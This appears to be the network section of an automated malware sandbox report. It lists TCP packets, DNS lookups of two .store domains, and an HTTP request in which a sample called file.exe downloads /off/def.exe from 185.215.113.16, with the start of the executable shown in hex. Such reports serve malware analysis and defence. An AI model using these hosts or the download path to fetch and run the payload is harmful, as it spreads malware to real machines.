Oct 27, 2024 02:03:22.137463093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.137491941 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.137511969 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.137532949 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.137541056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.137574911 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.137605906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.137636900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.137646914 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.137670040 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.137679100 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.137705088 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.137738943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.137782097 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.137789965 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.137824059 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.137831926 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.137885094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.137917995 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.137950897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.137969971 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.137989044 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.138151884 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.138206959 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.138240099 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.138273001 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.138307095 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.138307095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.138326883 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.138341904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.138390064 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.138627052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.138657093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.138706923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.138739109 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.138758898 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.138772011 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.138782978 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.177978039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.178011894 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.178052902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.178101063 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.178128958 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.178149939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.178178072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.178195000 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.180636883 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.180686951 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.180720091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.180737972 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.180751085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.180769920 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.180783987 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.180816889 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.180850029 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.180856943 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.180890083 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.180895090 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.180917978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.181025982 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.181057930 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.181070089 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.181107044 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.181107044 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.181138992 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.181256056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.181299925 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.181305885 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.181340933 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.181341887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.181392908 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.181425095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.181463003 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.181533098 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.181583881 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.181596994 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.181617022 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.181648970 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.181713104 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.181858063 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.181905031 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.181906939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.181941032 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.181973934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.182007074 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.182018995 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.182049036 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.182229042 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.182261944 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.182296991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.182356119 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.182368040 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.182401896 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.182411909 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.182437897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.182699919 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.182733059 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.182753086 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.182769060 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.182799101 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.182871103 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.182904005 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.182935953 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.182949066 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.182970047 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.182977915 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.183003902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.183037043 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.183073997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.183090925 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.183106899 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.183116913 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.183142900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.183248043 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.183644056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.183698893 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.183749914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.183783054 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.183799028 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.183815956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.183840036 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.183847904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.183883905 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.183916092 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.183927059 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.183948994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.183955908 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.183980942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.184012890 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.184047937 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.184056044 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.184094906 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.184612036 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.184644938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.184679985 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.184727907 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.235901117 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.235954046 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.235994101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.236021042 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.255799055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.255872965 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.255927086 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.255935907 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.255961895 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.255979061 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.255996943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.256050110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.256094933 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.256100893 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.256130934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.256141901 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.256185055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.256218910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.256268978 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.256274939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.256308079 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.256315947 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.256341934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.256392002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.256424904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.256436110 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.256457090 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.256469965 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.256489992 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.256524086 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.256555080 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.256568909 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.256587029 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.256596088 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.256622076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.256675959 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.256707907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.256741047 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.256748915 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.256773949 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.256777048 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.256808043 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.256835938 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.256840944 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.256876945 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.256882906 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.256905079 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.256937027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.256959915 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.256969929 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.257002115 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.257035017 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.257042885 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.257067919 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.257080078 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.257105112 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.258311987 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.296821117 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.296874046 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.296915054 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.296964884 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.299779892 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.299838066 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.299885988 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.299917936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.299922943 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.299952030 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.299961090 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.299988031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.300035954 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.300039053 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.300072908 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.300105095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.300112009 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.300206900 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.300209999 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.300241947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.300275087 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.300307989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.300319910 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.300354004 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.300359011 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.300391912 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.300441027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.300474882 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.300487995 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.300510883 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.300518036 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.300544024 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.300578117 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.300610065 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.300620079 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.300643921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.300659895 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.300676107 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.300709009 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.300736904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.300759077 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.300769091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.300786018 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.300822020 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.300853968 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.300901890 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.300904036 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.300936937 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.300960064 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.300987959 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.301021099 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.301068068 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.301070929 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.301103115 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.301111937 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.301136971 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.301173925 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.301207066 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.301223040 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.301239014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.301249027 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.301271915 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.301304102 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.301337004 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.301369905 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.301373005 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.301393032 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.301403046 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.301435947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.301451921 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.301467896 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.301501036 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.301532984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.301548004 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.301565886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.301575899 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.301599026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.301630974 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.301664114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.301678896 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.301696062 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.301711082 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.301728964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.302524090 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.302572012 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.302582979 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.302606106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.302618027 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:22.302638054 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.302671909 CET	80	49738	185.215.113.16	192.168.2.4
Oct 27, 2024 02:03:22.302716970 CET	49738	80	192.168.2.4	185.215.113.16
Oct 27, 2024 02:03:44.522685051 CET	49738	80	192.168.2.4	185.215.113.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 02:03:00.569873095 CET	60425	53	192.168.2.4	1.1.1.1
Oct 27, 2024 02:03:00.580411911 CET	53	60425	1.1.1.1	192.168.2.4
Oct 27, 2024 02:03:00.596961975 CET	58656	53	192.168.2.4	1.1.1.1
Oct 27, 2024 02:03:00.614950895 CET	53	58656	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 27, 2024 02:03:00.569873095 CET	192.168.2.4	1.1.1.1	0x7a3f	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 27, 2024 02:03:00.596961975 CET	192.168.2.4	1.1.1.1	0x969e	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 27, 2024 02:03:00.580411911 CET	1.1.1.1	192.168.2.4	0x7a3f	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 27, 2024 02:03:00.614950895 CET	1.1.1.1	192.168.2.4	0x969e	No error (0)	crisiwarny.store		172.67.170.64	A (IP address)	IN (0x0001)	false
Oct 27, 2024 02:03:00.614950895 CET	1.1.1.1	192.168.2.4	0x969e	No error (0)	crisiwarny.store		104.21.95.91	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

crisiwarny.store

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49738	185.215.113.16	80	5016	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 02:03:16.077198029 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 27, 2024 02:03:16.995306969 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 27 Oct 2024 01:03:16 GMT Content-Type: application/octet-stream Content-Length: 2844672 Last-Modified: Sun, 27 Oct 2024 00:07:17 GMT Connection: keep-alive ETag: "671d8435-2b6800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 2c 93 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,,+`Ui` @ @.rsrc`2@.idata 8@qvmkysan ++:@pmlcwwlz +@+@.taggant@+"F+@
Oct 27, 2024 02:03:16.995326996 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 27, 2024 02:03:16.995337963 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
